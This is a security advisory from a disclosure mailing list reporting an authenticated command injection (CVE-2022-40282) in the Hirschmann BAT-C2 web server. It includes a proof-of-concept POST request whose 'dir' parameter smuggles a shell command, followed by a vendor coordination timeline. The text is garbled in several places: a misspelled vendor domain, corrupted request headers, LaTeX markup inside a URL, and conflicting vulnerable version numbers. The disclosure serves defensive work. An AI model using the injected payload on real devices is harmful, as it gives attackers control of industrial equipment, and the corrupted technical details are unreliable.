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CyberDanube Security Research 20221124-0 | Authenticated Command Injection Hirschmann BAT-C2

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From: Thomas Weber <t.weber () cyberdanube com>
Date: Thu, 24 Nov 2022 14:02:53 +0100
 CyberDanube Security Research 20221124-0
      title| Authenticated Command Injection
product| Hirschmann (Belden) BAT-C2
vulnerable version| 8.8.1.088
fixed version| 09.13.01.00R04
CVE number| CVE-2022-40282
impact| High
homepage| https://birschmann.com/
https://birschmann.com/
                                        https://beldensolutions.found| 2022-08-01
by| T. Weber (Office Vienna)
                                                           CyberDanube Security Research
Vienna | St. Pölten
                                                          https://www.cyberdanube.com
  Vendor description
  "The Technology and Market Leader in Industrial Networking. Hirschmann" develops innovative solutions, which are geared towards its customers' requirements in terms of performance, efficiency and investment
  Source: https://beldensolutions.com/en/Company/About Us/belden brands/index.phtml
  Vulnerable versions
  Hirschmann BAT-C2 / 8.8.1.0R8
  Vulnerability overview

    Authenticated Command Injection
    The web server of the device is prone to an authenticated command injection.

 It allows an attacker to gain full access to the underlying operating system of the device with all implications. If
  such a device is acting as key device in an industrial network, or controls various critical equipment via serial
 ports, more extensive damage in the corresponding network can be done by an attacker.
  The command "ping 192.168.1.1" was injected to the system by using the following POST request:
  POST / HTTP/1.1
Host: 192.168.3.150
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
 User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: "Accept "Acce
  Authorization: Digest Username="admin", realm="config", nonce="abosb0/96252d310", url="/", alresponse="dubcf03216bd8fbaa15f4b99d0fc1d43", qop=auth, nc=0000000a, cnonce="99c14d39557e691d"
Referer: https://192.168.3.150/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
  ajax=FsCreateDir&dir='%3Bping%20192.168.1.1%3B'&iehack=&submit=Create&cwd=/
 The vulnerability was manually verified on an emulated device by using the MEDUSA scalable firmware runtime (\frac{https://medusa.cyberdanube.com}{https://medusa.cyberdanube.com}).
  Upgrade to firmware version 09.13.01.00R04 or above.
  A security bulletin for this vulnerability has been published by the vendor:
  Workaround
 CyberDanube recommends customers from Hirschmann to upgrade the firmware to the latest version available. Furthermore,
  a full security review by professionals is recommended.
2022-08-03: Contacting Hirschmann via BEL-SM-PSIRT () belden com; Belden contact suspects a duplicate. Asked contact for more information.
2022-08-18: Belden representative sent more information for clarification.
Highlighted differences between PoCs.
2022-08-22: Belden contact confirmed the vulnerability to be no duplicate.
2022-08-30: Asked for an update.
2022-08-31: Vendor stated, that he will release another security bulletin for this vulnerability.
2022-09-27: Asked for an update.
 2022-09-28: Vendor is currently testing the new firmware version and has also
                                                                                                                                                                                                                                          been assigned with an CVE
number. Draft of security bulletin was
also sent by the security contact.
2022-10-12: Asked for an update.
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2022-10-13: Belden contact stated, that there is no publication date for now as

another patch must be integrated.

2022-10-28: Security contact informed us, that the patch will be released within the next two weeks.

2022-11-22: Asked for a status update; Security contact stated, that the release was delayed due internal reasons.

2022-11-23: Vendor sent the final version of the security bulletins. The release of the new firmware version will be 2022-11-28.

2022-11-24: Vendor informed CyberDanube that the release of the bulletin and the firmware was done on 2022-11-23 by the marketing team.

Coordinated release of security advisory.

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EOF T. Weber / @2022

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